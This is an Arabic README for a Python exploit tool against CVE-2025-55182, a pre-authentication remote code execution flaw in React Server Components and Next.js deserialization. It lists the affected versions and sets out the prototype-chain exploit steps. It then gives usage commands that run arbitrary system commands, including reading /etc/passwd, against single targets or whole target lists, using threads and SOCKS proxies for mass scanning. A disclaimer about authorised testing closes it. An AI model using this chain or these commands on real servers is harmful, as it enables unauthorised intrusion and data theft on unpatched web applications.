
استغلال تنفيذ الأوامر عن بعد قبل المصادقة لمكونات خادم React و Next.js عبر ثغرة إزالة التسلسل. يدعم المسح لهدف واحد ومسح دفعات مع وكيل وخيوط.
React Server Components / Next.js تنفيذ الأوامر عن بُعد دون مصادقة
| الخاصية | القيمة |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (حرج) |
| CWE | CWE-502: إلغاء تسلسل البيانات غير الموثوقة |
| النوع | تنفيذ أوامر عن بُعد دون مصادقة |
| المكون | الإصدارات المتأثرة |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| الحزم ذات الصلة | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
تستغل هذه الثغرة عيبًا في إلغاء التسلسل ضمن بروتوكول React Server Components (RSC) Flight، وذلك من خلال إنشاء طلب multipart/form-data خبيث لتحقيق تنفيذ أوامر عن بُعد دون إذن. سلسلة الاستغلال الكاملة كالتالي:
POST multipart/form-data مع رأس Next-Action لتفعيل مسار Server Action.$1:__proto__:then للوصول إلى الخاصية Chunk.prototype.then على كائن القطعة 1 في حالة PENDING، مما يجعله thenable.$1:constructor:constructor لتحليل سلسلة النموذج الأولي (prototype chain) إلى مُنشئ Function.Chunk.prototype.then الدالة initializeModelChunk لتحليل الحقل value الذي يحوي '{"then":"$B0"}'.$B0 يستدعي _formData.get(_prefix + "0") أي Function(code + "0").then بنفسه، فيُعتبر thenable ويتم استدعاؤه، مما يؤدي إلى تنفيذ الكود وتحقيق تنفيذ الأوامر عن بُعد (RCE).pip install requests[socks]
في حال فقدان التبعيات، سيحاول السكريبت تثبيت
requestsوPySocksتلقائياً.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# بروكسي HTTP
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# بروكسي SOCKS5
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
| المعامل | الشرح | القيمة الافتراضية |
|---|---|---|
-u, --url | رابط هدف واحد (يتعارض مع -f) | - |
-f, --file | ملف بقائمة روابط الأهداف، رابط واحد في كل سطر (يتعارض مع -u) | - |
-c, --command | أمر النظام المراد تنفيذه (غير مطلوب في وضع --check) | - |
-o, --output | ملف إخراج النتائج | results.txt |
-t, --threads | عدد الخيوط المتزامنة | 10 |
-v, --verbose | عرض مخرجات التصحيح | False |
--proxy | عنوان البروكسي، يدعم HTTP و SOCKS5 | - |
--timeout | مهلة الطلب بالثواني | 15 |
--check | فحص الثغرة فقط دون تنفيذ أوامر النظام | False |
--verify-ssl | التحقق من شهادة TLS | False |
تتم كتابة نتائج الفحص الجماعي في ملف الإخراج المحدد بـ -o، ويتم تسجيل الأهداف التي تم تأكيد تعرضها فقط.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# سيتم تجاهل الأسطر التي تبدأ بـ #
هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها ولأغراض البحث الأمني. يجب على المستخدم التأكد من حصوله على إذن صريح من مالك النظام المستهدف. يُعد اختبار الاختراق دون إذن مخالفاً للقانون، ويتحمل المستخدم كامل المسؤولية القانونية المترتبة على ذلك.